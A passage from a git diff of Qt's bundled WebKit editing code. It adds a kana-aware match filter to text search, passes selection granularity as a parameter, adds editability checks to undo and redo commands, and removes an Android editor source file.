     document()->copyMarkers(m_text2.get(), 0, m_offset, prefixTextNode.get(), 0);
 
-    Node* parent = m_text2->parentNode();
-    if (!parent)
-        return;
     parent->insertBefore(prefixTextNode.get(), m_text2.get(), ec);
     if (ec)
         return;
@@ -72,7 +73,7 @@ void SplitTextNodeCommand::doApply()
 
 void SplitTextNodeCommand::doUnapply()
 {
-    if (!m_text1)
+    if (!m_text1 || !m_text1->isContentEditable())
         return;
 
     ASSERT(m_text1->document() == document());
diff --git a/src/3rdparty/webkit/WebCore/editing/TextAffinity.h b/src/3rdparty/webkit/WebCore/editing/TextAffinity.h
index a5565c7..5310ca9 100644
--- a/src/3rdparty/webkit/WebCore/editing/TextAffinity.h
+++ b/src/3rdparty/webkit/WebCore/editing/TextAffinity.h
@@ -26,8 +26,6 @@
 #ifndef TextAffinity_h
 #define TextAffinity_h
 
-#include <wtf/Platform.h>
-
 #ifdef __OBJC__
 #include <AppKit/NSTextView.h>
 #endif
diff --git a/src/3rdparty/webkit/WebCore/editing/TextIterator.cpp b/src/3rdparty/webkit/WebCore/editing/TextIterator.cpp
index d36849c..a386c6e 100644
--- a/src/3rdparty/webkit/WebCore/editing/TextIterator.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/TextIterator.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010 Apple Inc. All rights reserved.
  * Copyright (C) 2005 Alexey Proskuryakov.
  *
  * Redistribution and use in source and binary forms, with or without
@@ -73,11 +73,17 @@ public:
 #if USE(ICU_UNICODE) && !UCONFIG_NO_COLLATION
 
 private:
+    bool isBadMatch(const UChar*, size_t length) const;
+
     String m_target;
     Vector<UChar> m_buffer;
     size_t m_overlap;
     bool m_atBreak;
 
+    bool m_targetRequiresKanaWorkaround;
+    Vector<UChar> m_normalizedTarget;
+    mutable Vector<UChar> m_normalizedMatch;
+
 #else
 
 private:
@@ -150,7 +156,7 @@ static inline Node* parentCrossingShadowBoundaries(Node* node)
     return node->shadowParentNode();
 }
 
-#ifndef NDEBUG
+#if !ASSERT_DISABLED
 
 static unsigned depthCrossingShadowBoundaries(Node* node)
 {
@@ -218,7 +224,7 @@ static void pushFullyClippedState(BitStack& stack, Node* node)
 
     // Push true if this node full clips its contents, or if a parent already has fully
     // clipped and this is not a node that ignores its container's clip.
-    stack.push(fullyClipsContents(node) || stack.top() && !ignoresContainerClip(node));
+    stack.push(fullyClipsContents(node) || (stack.top() && !ignoresContainerClip(node)));
 }
 
 static void setUpFullyClippedStack(BitStack& stack, Node* node)
@@ -705,6 +711,28 @@ static bool shouldEmitExtraNewlineForNode(Node* node)
     return false;
 }
 
+static int collapsedSpaceLength(RenderText* renderer, int textEnd)
+{
+    const UChar* characters = renderer->text()->characters();
+    int length = renderer->text()->length();
+    for (int i = textEnd; i < length; ++i) {
+        if (!renderer->style()->isCollapsibleWhiteSpace(characters[i]))
+            return i - textEnd;
+    }
+
+    return length - textEnd;
+}
+
+static int maxOffsetIncludingCollapsedSpaces(Node* node)
+{
+    int offset = caretMaxOffset(node);
+
+    if (node->renderer() && node->renderer()->isText())
+        offset += collapsedSpaceLength(toRenderText(node->renderer()), offset);
+
+    return offset;
+}
+
 // Whether or not we should emit a character as we enter m_node (if it's a container) or as we hit it (if it's atomic).
 bool TextIterator::shouldRepresentNodeOffsetZero()
 {
@@ -1029,7 +1057,9 @@ void SimplifiedBackwardsTextIterator::advance()
         m_node = next;
         if (m_node)
             pushFullyClippedState(m_fullyClippedStack, m_node);
-        m_offset = m_node ? caretMaxOffset(m_node) : 0;
+        // For the purpose of word boundary detection,
+        // we should iterate all visible text and trailing (collapsed) whitespaces. 
+        m_offset = m_node ? maxOffsetIncludingCollapsedSpaces(m_node) : 0;
         m_handledNode = false;
         m_handledChildren = false;
         
@@ -1465,9 +1495,212 @@ static inline void unlockSearcher()
 #endif
 }
 
+// ICU's search ignores the distinction between small kana letters and ones
+// that are not small, and also characters that differ only in the voicing
+// marks when considering only primary collation strength diffrences.
+// This is not helpful for end users, since these differences make words
+// distinct, so for our purposes we need these to be considered.
+// The Unicode folks do not think the collation algorithm should be
+// changed. To work around this, we would like to tailor the ICU searcher,
+// but we can't get that to work yet. So instead, we check for cases where
+// these differences occur, and skip those matches.
+
+// We refer to the above technique as the "kana workaround". The next few
+// functions are helper functinos for the kana workaround.
+
+static inline bool isKanaLetter(UChar character)
+{
+    // Hiragana letters.
+    if (character >= 0x3041 && character <= 0x3096)
+        return true;
+
+    // Katakana letters.
+    if (character >= 0x30A1 && character <= 0x30FA)
+        return true;
+    if (character >= 0x31F0 && character <= 0x31FF)
+        return true;
+
+    // Halfwidth katakana letters.
+    if (character >= 0xFF66 && character <= 0xFF9D && character != 0xFF70)
+        return true;
+
+    return false;
+}
+
+static inline bool isSmallKanaLetter(UChar character)
+{
+    ASSERT(isKanaLetter(character));
+
+    switch (character) {
+    case 0x3041: // HIRAGANA LETTER SMALL A
+    case 0x3043: // HIRAGANA LETTER SMALL I
+    case 0x3045: // HIRAGANA LETTER SMALL U
+    case 0x3047: // HIRAGANA LETTER SMALL E
+    case 0x3049: // HIRAGANA LETTER SMALL O
+    case 0x3063: // HIRAGANA LETTER SMALL TU
+    case 0x3083: // HIRAGANA LETTER SMALL YA
+    case 0x3085: // HIRAGANA LETTER SMALL YU
+    case 0x3087: // HIRAGANA LETTER SMALL YO
+    case 0x308E: // HIRAGANA LETTER SMALL WA
+    case 0x3095: // HIRAGANA LETTER SMALL KA
+    case 0x3096: // HIRAGANA LETTER SMALL KE
+    case 0x30A1: // KATAKANA LETTER SMALL A
+    case 0x30A3: // KATAKANA LETTER SMALL I
+    case 0x30A5: // KATAKANA LETTER SMALL U
+    case 0x30A7: // KATAKANA LETTER SMALL E
+    case 0x30A9: // KATAKANA LETTER SMALL O
+    case 0x30C3: // KATAKANA LETTER SMALL TU
+    case 0x30E3: // KATAKANA LETTER SMALL YA
+    case 0x30E5: // KATAKANA LETTER SMALL YU
+    case 0x30E7: // KATAKANA LETTER SMALL YO
+    case 0x30EE: // KATAKANA LETTER SMALL WA
+    case 0x30F5: // KATAKANA LETTER SMALL KA
+    case 0x30F6: // KATAKANA LETTER SMALL KE
+    case 0x31F0: // KATAKANA LETTER SMALL KU
+    case 0x31F1: // KATAKANA LETTER SMALL SI
+    case 0x31F2: // KATAKANA LETTER SMALL SU
+    case 0x31F3: // KATAKANA LETTER SMALL TO
+    case 0x31F4: // KATAKANA LETTER SMALL NU
+    case 0x31F5: // KATAKANA LETTER SMALL HA
+    case 0x31F6: // KATAKANA LETTER SMALL HI
+    case 0x31F7: // KATAKANA LETTER SMALL HU
+    case 0x31F8: // KATAKANA LETTER SMALL HE
+    case 0x31F9: // KATAKANA LETTER SMALL HO
+    case 0x31FA: // KATAKANA LETTER SMALL MU
+    case 0x31FB: // KATAKANA LETTER SMALL RA
+    case 0x31FC: // KATAKANA LETTER SMALL RI
+    case 0x31FD: // KATAKANA LETTER SMALL RU
+    case 0x31FE: // KATAKANA LETTER SMALL RE
+    case 0x31FF: // KATAKANA LETTER SMALL RO
+    case 0xFF67: // HALFWIDTH KATAKANA LETTER SMALL A
+    case 0xFF68: // HALFWIDTH KATAKANA LETTER SMALL I
+    case 0xFF69: // HALFWIDTH KATAKANA LETTER SMALL U
+    case 0xFF6A: // HALFWIDTH KATAKANA LETTER SMALL E
+    case 0xFF6B: // HALFWIDTH KATAKANA LETTER SMALL O
+    case 0xFF6C: // HALFWIDTH KATAKANA LETTER SMALL YA
+    case 0xFF6D: // HALFWIDTH KATAKANA LETTER SMALL YU
+    case 0xFF6E: // HALFWIDTH KATAKANA LETTER SMALL YO
+    case 0xFF6F: // HALFWIDTH KATAKANA LETTER SMALL TU
+        return true;
+    }
+    return false;
+}
+
+enum VoicedSoundMarkType { NoVoicedSoundMark, VoicedSoundMark, SemiVoicedSoundMark };
+
+static inline VoicedSoundMarkType composedVoicedSoundMark(UChar character)
+{
+    ASSERT(isKanaLetter(character));
+
+    switch (character) {
+    case 0x304C: // HIRAGANA LETTER GA
+    case 0x304E: // HIRAGANA LETTER GI
+    case 0x3050: // HIRAGANA LETTER GU
+    case 0x3052: // HIRAGANA LETTER GE
+    case 0x3054: // HIRAGANA LETTER GO
+    case 0x3056: // HIRAGANA LETTER ZA
+    case 0x3058: // HIRAGANA LETTER ZI
+    case 0x305A: // HIRAGANA LETTER ZU
+    case 0x305C: // HIRAGANA LETTER ZE
+    case 0x305E: // HIRAGANA LETTER ZO
+    case 0x3060: // HIRAGANA LETTER DA
+    case 0x3062: // HIRAGANA LETTER DI
+    case 0x3065: // HIRAGANA LETTER DU
+    case 0x3067: // HIRAGANA LETTER DE
+    case 0x3069: // HIRAGANA LETTER DO
+    case 0x3070: // HIRAGANA LETTER BA
+    case 0x3073: // HIRAGANA LETTER BI
+    case 0x3076: // HIRAGANA LETTER BU
+    case 0x3079: // HIRAGANA LETTER BE
+    case 0x307C: // HIRAGANA LETTER BO
+    case 0x3094: // HIRAGANA LETTER VU
+    case 0x30AC: // KATAKANA LETTER GA
+    case 0x30AE: // KATAKANA LETTER GI
+    case 0x30B0: // KATAKANA LETTER GU
+    case 0x30B2: // KATAKANA LETTER GE
+    case 0x30B4: // KATAKANA LETTER GO
+    case 0x30B6: // KATAKANA LETTER ZA
+    case 0x30B8: // KATAKANA LETTER ZI
+    case 0x30BA: // KATAKANA LETTER ZU
+    case 0x30BC: // KATAKANA LETTER ZE
+    case 0x30BE: // KATAKANA LETTER ZO
+    case 0x30C0: // KATAKANA LETTER DA
+    case 0x30C2: // KATAKANA LETTER DI
+    case 0x30C5: // KATAKANA LETTER DU
+    case 0x30C7: // KATAKANA LETTER DE
+    case 0x30C9: // KATAKANA LETTER DO
+    case 0x30D0: // KATAKANA LETTER BA
+    case 0x30D3: // KATAKANA LETTER BI
+    case 0x30D6: // KATAKANA LETTER BU
+    case 0x30D9: // KATAKANA LETTER BE
+    case 0x30DC: // KATAKANA LETTER BO
+    case 0x30F4: // KATAKANA LETTER VU
+    case 0x30F7: // KATAKANA LETTER VA
+    case 0x30F8: // KATAKANA LETTER VI
+    case 0x30F9: // KATAKANA LETTER VE
+    case 0x30FA: // KATAKANA LETTER VO
+        return VoicedSoundMark;
+    case 0x3071: // HIRAGANA LETTER PA
+    case 0x3074: // HIRAGANA LETTER PI
+    case 0x3077: // HIRAGANA LETTER PU
+    case 0x307A: // HIRAGANA LETTER PE
+    case 0x307D: // HIRAGANA LETTER PO
+    case 0x30D1: // KATAKANA LETTER PA
+    case 0x30D4: // KATAKANA LETTER PI
+    case 0x30D7: // KATAKANA LETTER PU
+    case 0x30DA: // KATAKANA LETTER PE
+    case 0x30DD: // KATAKANA LETTER PO
+        return SemiVoicedSoundMark;
+    }
+    return NoVoicedSoundMark;
+}
+
+static inline bool isCombiningVoicedSoundMark(UChar character)
+{
+    switch (character) {
+    case 0x3099: // COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK
+    case 0x309A: // COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK
+        return true;
+    }
+    return false;
+}
+
+static inline bool containsKanaLetters(const String& pattern)
+{
+    const UChar* characters = pattern.characters();
+    unsigned length = pattern.length();
+    for (unsigned i = 0; i < length; ++i) {
+        if (isKanaLetter(characters[i]))
+            return true;
+    }
+    return false;
+}
+
+static void normalizeCharacters(const UChar* characters, unsigned length, Vector<UChar>& buffer)
+{
+    ASSERT(length);
+
+    buffer.resize(length);
+
+    UErrorCode status = U_ZERO_ERROR;
+    size_t bufferSize = unorm_normalize(characters, length, UNORM_NFC, 0, buffer.data(), length, &status);
+    ASSERT(status == U_ZERO_ERROR || status == U_STRING_NOT_TERMINATED_WARNING || status == U_BUFFER_OVERFLOW_ERROR);
+    ASSERT(bufferSize);
+
+    buffer.resize(bufferSize);
+
+    if (status == U_ZERO_ERROR || status == U_STRING_NOT_TERMINATED_WARNING)
+        return;
+
+    status = U_ZERO_ERROR;
+    unorm_normalize(characters, length, UNORM_NFC, 0, buffer.data(), bufferSize, &status);
+    ASSERT(status == U_STRING_NOT_TERMINATED_WARNING);
+}
+
 inline SearchBuffer::SearchBuffer(const String& target, bool isCaseSensitive)
     : m_target(target)
     , m_atBreak(true)
+    , m_targetRequiresKanaWorkaround(containsKanaLetters(m_target))
 {
     ASSERT(!m_target.isEmpty());
 
@@ -1497,6 +1730,10 @@ inline SearchBuffer::SearchBuffer(const String& target, bool isCaseSensitive)
     UErrorCode status = U_ZERO_ERROR;
     usearch_setPattern(searcher, m_target.characters(), targetLength, &status);
     ASSERT(status == U_ZERO_ERROR);
+
+    // The kana workaround requires a normalized copy of the target string.
+    if (m_targetRequiresKanaWorkaround)
+        normalizeCharacters(m_target.characters(), m_target.length(), m_normalizedTarget);
 }
 
 inline SearchBuffer::~SearchBuffer()
@@ -1534,6 +1771,66 @@ inline void SearchBuffer::reachedBreak()
     m_atBreak = true;
 }
 
+inline bool SearchBuffer::isBadMatch(const UChar* match, size_t matchLength) const
+{
+    // This function implements the kana workaround. If usearch treats
+    // it as a match, but we do not want to, then it's a "bad match".
+    if (!m_targetRequiresKanaWorkaround)
+        return false;
+
+    // Normalize into a match buffer. We reuse a single buffer rather than
+    // creating a new one each time.
+    normalizeCharacters(match, matchLength, m_normalizedMatch);
+
+    const UChar* a = m_normalizedTarget.begin();
+    const UChar* aEnd = m_normalizedTarget.end();
+
+    const UChar* b = m_normalizedMatch.begin();
+    const UChar* bEnd = m_normalizedMatch.end();
+
+    while (true) {
+        // Skip runs of non-kana-letter characters. This is necessary so we can
+        // correctly handle strings where the target and match have different-length
+        // runs of characters that match, while still double checking the correctness
+        // of matches of kana letters with other kana letters.
+        while (a != aEnd && !isKanaLetter(*a))
+            ++a;
+        while (b != bEnd && !isKanaLetter(*b))
+            ++b;
+
+        // If we reached the end of either the target or the match, we should have
+        // reached the end of both; both should have the same number of kana letters.
+        if (a == aEnd || b == bEnd) {
+            ASSERT(a == aEnd);
+            ASSERT(b == bEnd);
+            return false;
+        }
+
+        // Check for differences in the kana letter character itself.
+        if (isSmallKanaLetter(*a) != isSmallKanaLetter(*b))
+            return true;
+        if (composedVoicedSoundMark(*a) != composedVoicedSoundMark(*b))
+            return true;
+        ++a;
+        ++b;
+
+        // Check for differences in combining voiced sound marks found after the letter.
+        while (1) {
+            if (!(a != aEnd && isCombiningVoicedSoundMark(*a))) {
+                if (b != bEnd && isCombiningVoicedSoundMark(*b))
+                    return true;
+                break;
+            }
+            if (!(b != bEnd && isCombiningVoicedSoundMark(*b)))
+                return true;
+            if (*a != *b)
+                return true;
+            ++a;
+            ++b;
+        }
+    }
+}
+
 inline size_t SearchBuffer::search(size_t& start)
 {
     size_t size = m_buffer.size();
@@ -1553,6 +1850,8 @@ inline size_t SearchBuffer::search(size_t& start)
 
     int matchStart = usearch_first(searcher, &status);
     ASSERT(status == U_ZERO_ERROR);
+
+nextMatch:
     if (!(matchStart >= 0 && static_cast<size_t>(matchStart) < size)) {
         ASSERT(matchStart == USEARCH_DONE);
         return 0;
@@ -1567,12 +1866,22 @@ inline size_t SearchBuffer::search(size_t& start)
         return 0;
     }
 
+    size_t matchedLength = usearch_getMatchedLength(searcher);
+    ASSERT(matchStart + matchedLength <= size);
+
+    // If this match is "bad", move on to the next match.
+    if (isBadMatch(m_buffer.data() + matchStart, matchedLength)) {
+        matchStart = usearch_next(searcher, &status);
+        ASSERT(status == U_ZERO_ERROR);
+        goto nextMatch;
+    }
+
     size_t newSize = size - (matchStart + 1);
     memmove(m_buffer.data(), m_buffer.data() + matchStart + 1, newSize * sizeof(UChar));
     m_buffer.shrink(newSize);
 
     start = size - matchStart;
-    return usearch_getMatchedLength(searcher);
+    return matchedLength;
 }
 
 #else // !ICU_UNICODE
@@ -1728,16 +2037,25 @@ PassRefPtr<Range> TextIterator::rangeFromLocationAndLength(Element* scope, int r
         
         // Fix textRunRange->endPosition(), but only if foundStart || foundEnd, because it is only
         // in those cases that textRunRange is used.
-        if (foundStart || foundEnd) {
+        if (foundEnd) {
             // FIXME: This is a workaround for the fact that the end of a run is often at the wrong
             // position for emitted '\n's.
             if (len == 1 && it.characters()[0] == '\n') {
-                Position runStart = textRunRange->startPosition();
-                Position runEnd = VisiblePosition(runStart).next().deepEquivalent();
-                if (runEnd.isNotNull()) {
+                scope->document()->updateLayoutIgnorePendingStylesheets();
+                it.advance();
+                if (!it.atEnd()) {
+                    RefPtr<Range> range = it.range();
                     ExceptionCode ec = 0;
-                    textRunRange->setEnd(runEnd.node(), runEnd.deprecatedEditingOffset(), ec);
+                    textRunRange->setEnd(range->startContainer(), range->startOffset(), ec);
                     ASSERT(!ec);
+                } else {
+                    Position runStart = textRunRange->startPosition();
+                    Position runEnd = VisiblePosition(runStart).next().deepEquivalent();
+                    if (runEnd.isNotNull()) {
+                        ExceptionCode ec = 0;
+                        textRunRange->setEnd(runEnd.node(), runEnd.deprecatedEditingOffset(), ec);
+                        ASSERT(!ec);
+                    }
                 }
             }
         }
diff --git a/src/3rdparty/webkit/WebCore/editing/TypingCommand.cpp b/src/3rdparty/webkit/WebCore/editing/TypingCommand.cpp
index f5901d7..1c9db90 100644
--- a/src/3rdparty/webkit/WebCore/editing/TypingCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/TypingCommand.cpp
@@ -90,7 +90,7 @@ void TypingCommand::deleteKeyPressed(Document *document, bool smartDelete, TextG
     ASSERT(frame);
     
     EditCommand* lastEditCommand = frame->editor()->lastEditCommand();
-    if (isOpenForMoreTypingCommand(lastEditCommand)) {
+    if (granularity == CharacterGranularity && isOpenForMoreTypingCommand(lastEditCommand)) {
         static_cast<TypingCommand*>(lastEditCommand)->deleteKeyPressed(granularity, killRing);
         return;
     }
@@ -109,7 +109,7 @@ void TypingCommand::forwardDeleteKeyPressed(Document *document, bool smartDelete
     ASSERT(frame);
     
     EditCommand* lastEditCommand = frame->editor()->lastEditCommand();
-    if (isOpenForMoreTypingCommand(lastEditCommand)) {
+    if (granularity == CharacterGranularity && isOpenForMoreTypingCommand(lastEditCommand)) {
         static_cast<TypingCommand*>(lastEditCommand)->forwardDeleteKeyPressed(granularity, killRing);
         return;
     }
@@ -450,6 +450,10 @@ void TypingCommand::deleteKeyPressed(TextGranularity granularity, bool killRing)
             }
             
             VisiblePosition visibleStart(endingSelection().visibleStart());
+            // If we have a caret selection on an empty cell, we have nothing to do.
+            if (isEmptyTableCell(visibleStart.deepEquivalent().node()))
+                return;
+
             // If the caret is at the start of a paragraph after a table, move content into the last table cell.
             if (isStartOfParagraph(visibleStart) && isFirstPositionAfterTable(visibleStart.previous(true))) {
                 // Unless the caret is just before a table.  We don't want to move a table into the last table cell.
diff --git a/src/3rdparty/webkit/WebCore/editing/VisibleSelection.cpp b/src/3rdparty/webkit/WebCore/editing/VisibleSelection.cpp
index 206de86..c818da1 100644
--- a/src/3rdparty/webkit/WebCore/editing/VisibleSelection.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/VisibleSelection.cpp
@@ -43,7 +43,6 @@ namespace WebCore {
 
 VisibleSelection::VisibleSelection()
     : m_affinity(DOWNSTREAM)
-    , m_granularity(CharacterGranularity)
     , m_selectionType(NoSelection)
     , m_baseIsFirst(true)
 {
@@ -53,7 +52,6 @@ VisibleSelection::VisibleSelection(const Position& pos, EAffinity affinity)
     : m_base(pos)
     , m_extent(pos)
     , m_affinity(affinity)
-    , m_granularity(CharacterGranularity)
 {
     validate();
 }
@@ -62,7 +60,6 @@ VisibleSelection::VisibleSelection(const Position& base, const Position& extent,
     : m_base(base)
     , m_extent(extent)
     , m_affinity(affinity)
-    , m_granularity(CharacterGranularity)
 {
     validate();
 }
@@ -71,7 +68,6 @@ VisibleSelection::VisibleSelection(const VisiblePosition& pos)
     : m_base(pos.deepEquivalent())
     , m_extent(pos.deepEquivalent())
     , m_affinity(pos.affinity())
-    , m_granularity(CharacterGranularity)
 {
     validate();
 }
@@ -80,7 +76,6 @@ VisibleSelection::VisibleSelection(const VisiblePosition& base, const VisiblePos
     : m_base(base.deepEquivalent())
     , m_extent(extent.deepEquivalent())
     , m_affinity(base.affinity())
-    , m_granularity(CharacterGranularity)
 {
     validate();
 }
@@ -89,7 +84,6 @@ VisibleSelection::VisibleSelection(const Range* range, EAffinity affinity)
     : m_base(range->startPosition())
     , m_extent(range->endPosition())
     , m_affinity(affinity)
-    , m_granularity(CharacterGranularity)
 {
     validate();
 }
@@ -190,8 +184,7 @@ bool VisibleSelection::expandUsingGranularity(TextGranularity granularity)
     if (isNone())
         return false;
 
-    m_granularity = granularity;
-    validate();
+    validate(granularity);
     return true;
 }
 
@@ -237,7 +230,7 @@ void VisibleSelection::appendTrailingWhitespace()
 
     for (; charIt.length(); charIt.advance(1)) {
         UChar c = charIt.characters()[0];
-        if (!isSpaceOrNewline(c) && c != noBreakSpace || c == '\n')
+        if ((!isSpaceOrNewline(c) && c != noBreakSpace) || c == '\n')
             break;
         m_end = charIt.range()->endPosition();
     }
@@ -268,7 +261,7 @@ void VisibleSelection::setBaseAndExtentToDeepEquivalents()
         m_baseIsFirst = comparePositions(m_base, m_extent) <= 0;
 }
 
-void VisibleSelection::setStartAndEndFromBaseAndExtentRespectingGranularity()
+void VisibleSelection::setStartAndEndFromBaseAndExtentRespectingGranularity(TextGranularity granularity)
 {
     if (m_baseIsFirst) {
         m_start = m_base;
@@ -278,7 +271,7 @@ void VisibleSelection::setStartAndEndFromBaseAndExtentRespectingGranularity()
         m_end = m_base;
     }
 
-    switch (m_granularity) {
+    switch (granularity) {
         case CharacterGranularity:
             // Don't do any expansion.
             break;
@@ -301,7 +294,7 @@ void VisibleSelection::setStartAndEndFromBaseAndExtentRespectingGranularity()
             VisiblePosition wordEnd(endOfWord(originalEnd, side));
             VisiblePosition end(wordEnd);
             
-            if (isEndOfParagraph(originalEnd)) {
+            if (isEndOfParagraph(originalEnd) && !isEmptyTableCell(m_start.node())) {
                 // Select the paragraph break (the space from the end of a paragraph to the start of 
                 // the next one) to match TextEdit.
                 end = wordEnd.next();
@@ -408,10 +401,10 @@ void VisibleSelection::updateSelectionType()
         m_affinity = DOWNSTREAM;
 }
 
-void VisibleSelection::validate()
+void VisibleSelection::validate(TextGranularity granularity)
 {
     setBaseAndExtentToDeepEquivalents();
-    setStartAndEndFromBaseAndExtentRespectingGranularity();
+    setStartAndEndFromBaseAndExtentRespectingGranularity(granularity);
     adjustSelectionToAvoidCrossingEditingBoundaries();
     updateSelectionType();
 
@@ -441,7 +434,6 @@ void VisibleSelection::setWithoutValidation(const Position& base, const Position
     ASSERT(!extent.isNull());
     ASSERT(base != extent);
     ASSERT(m_affinity == DOWNSTREAM);
-    ASSERT(m_granularity == CharacterGranularity);
     m_base = base;
     m_extent = extent;
     m_baseIsFirst = comparePositions(base, extent) <= 0;
diff --git a/src/3rdparty/webkit/WebCore/editing/VisibleSelection.h b/src/3rdparty/webkit/WebCore/editing/VisibleSelection.h
index e346b27..4ce2b92 100644
--- a/src/3rdparty/webkit/WebCore/editing/VisibleSelection.h
+++ b/src/3rdparty/webkit/WebCore/editing/VisibleSelection.h
@@ -81,8 +81,7 @@ public:
     void appendTrailingWhitespace();
 
     bool expandUsingGranularity(TextGranularity granularity);
-    TextGranularity granularity() const { return m_granularity; }
-
+    
     // We don't yet support multi-range selections, so we only ever have one range to return.
     PassRefPtr<Range> firstRange() const;
 
@@ -106,22 +105,25 @@ public:
     void setWithoutValidation(const Position&, const Position&);
 
 private:
-    void validate();
+    void validate(TextGranularity = CharacterGranularity);
 
     // Support methods for validate()
     void setBaseAndExtentToDeepEquivalents();
-    void setStartAndEndFromBaseAndExtentRespectingGranularity();
+    void setStartAndEndFromBaseAndExtentRespectingGranularity(TextGranularity);
     void adjustSelectionToAvoidCrossingEditingBoundaries();
     void updateSelectionType();
 
-    // FIXME: These should all be VisiblePositions
+    // We need to store these as Positions because VisibleSelection is
+    // used to store values in editing commands for use when
+    // undoing the command. We need to be able to create a selection that, while currently
+    // invalid, will be valid once the changes are undone.
+    
     Position m_base;   // Where the first click happened
     Position m_extent; // Where the end click happened
     Position m_start;  // Leftmost position when expanded to respect granularity
     Position m_end;    // Rightmost position when expanded to respect granularity
 
     EAffinity m_affinity;           // the upstream/downstream affinity of the caret
-    TextGranularity m_granularity;  // granularity of start/end selection
 
     // these are cached, can be recalculated by validate()
     SelectionType m_selectionType;    // None, Caret, Range
@@ -130,7 +132,7 @@ private:
 
 inline bool operator==(const VisibleSelection& a, const VisibleSelection& b)
 {
-    return a.start() == b.start() && a.end() == b.end() && a.affinity() == b.affinity() && a.granularity() == b.granularity() && a.isBaseFirst() == b.isBaseFirst();
+    return a.start() == b.start() && a.end() == b.end() && a.affinity() == b.affinity() && a.isBaseFirst() == b.isBaseFirst();
 }
 
 inline bool operator!=(const VisibleSelection& a, const VisibleSelection& b)
diff --git a/src/3rdparty/webkit/WebCore/editing/WrapContentsInDummySpanCommand.cpp b/src/3rdparty/webkit/WebCore/editing/WrapContentsInDummySpanCommand.cpp
index 7622c1e..5fa0b39 100644
--- a/src/3rdparty/webkit/WebCore/editing/WrapContentsInDummySpanCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/WrapContentsInDummySpanCommand.cpp
@@ -38,35 +38,37 @@ WrapContentsInDummySpanCommand::WrapContentsInDummySpanCommand(PassRefPtr<Elemen
     ASSERT(m_element);
 }
 
-void WrapContentsInDummySpanCommand::doApply()
+void WrapContentsInDummySpanCommand::executeApply()
 {
     Vector<RefPtr<Node> > children;
     for (Node* child = m_element->firstChild(); child; child = child->nextSibling())
         children.append(child);
-
-    RefPtr<HTMLElement> span = createStyleSpanElement(document());
- 
+    
     ExceptionCode ec;
-
+    
     size_t size = children.size();
     for (size_t i = 0; i < size; ++i)
-        span->appendChild(children[i].release(), ec);
-
-    m_element->appendChild(span.get(), ec);
-
-    m_dummySpan = span.release();
+        m_dummySpan->appendChild(children[i].release(), ec);
+    
+    m_element->appendChild(m_dummySpan.get(), ec);
 }
 
+void WrapContentsInDummySpanCommand::doApply()
+{
+    m_dummySpan = createStyleSpanElement(document());
+    
+    executeApply();
+}
+    
 void WrapContentsInDummySpanCommand::doUnapply()
 {
     ASSERT(m_element);
 
-    RefPtr<HTMLElement> span = m_dummySpan.release();
-    if (!span)
+    if (!m_dummySpan || !m_element->isContentEditable())
         return;
 
     Vector<RefPtr<Node> > children;
-    for (Node* child = span->firstChild(); child; child = child->nextSibling())
+    for (Node* child = m_dummySpan->firstChild(); child; child = child->nextSibling())
         children.append(child);
 
     ExceptionCode ec;
@@ -75,7 +77,17 @@ void WrapContentsInDummySpanCommand::doUnapply()
     for (size_t i = 0; i < size; ++i)
         m_element->appendChild(children[i].release(), ec);
 
-    span->remove(ec);
+    m_dummySpan->remove(ec);
 }
 
+void WrapContentsInDummySpanCommand::doReapply()
+{
+    ASSERT(m_element);
+    
+    if (!m_dummySpan || !m_element->isContentEditable())
+        return;
+
+    executeApply();
+}
+    
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/editing/WrapContentsInDummySpanCommand.h b/src/3rdparty/webkit/WebCore/editing/WrapContentsInDummySpanCommand.h
index b12131a..be3af66 100644
--- a/src/3rdparty/webkit/WebCore/editing/WrapContentsInDummySpanCommand.h
+++ b/src/3rdparty/webkit/WebCore/editing/WrapContentsInDummySpanCommand.h
@@ -44,6 +44,8 @@ private:
 
     virtual void doApply();
     virtual void doUnapply();
+    virtual void doReapply();
+    void executeApply();
 
     RefPtr<Element> m_element;
     RefPtr<HTMLElement> m_dummySpan;
diff --git a/src/3rdparty/webkit/WebCore/editing/android/EditorAndroid.cpp b/src/3rdparty/webkit/WebCore/editing/android/EditorAndroid.cpp
deleted file mode 100644
index 8e00326..0000000
--- a/src/3rdparty/webkit/WebCore/editing/android/EditorAndroid.cpp
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright 2009, The Android Open Source Project
- * Copyright (C) 2006, 2007 Apple Inc.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "Editor.h"
-
-#include "ClipboardAndroid.h"
-
-namespace WebCore {
-
-PassRefPtr<Clipboard> Editor::newGeneralClipboard(ClipboardAccessPolicy policy)
-{
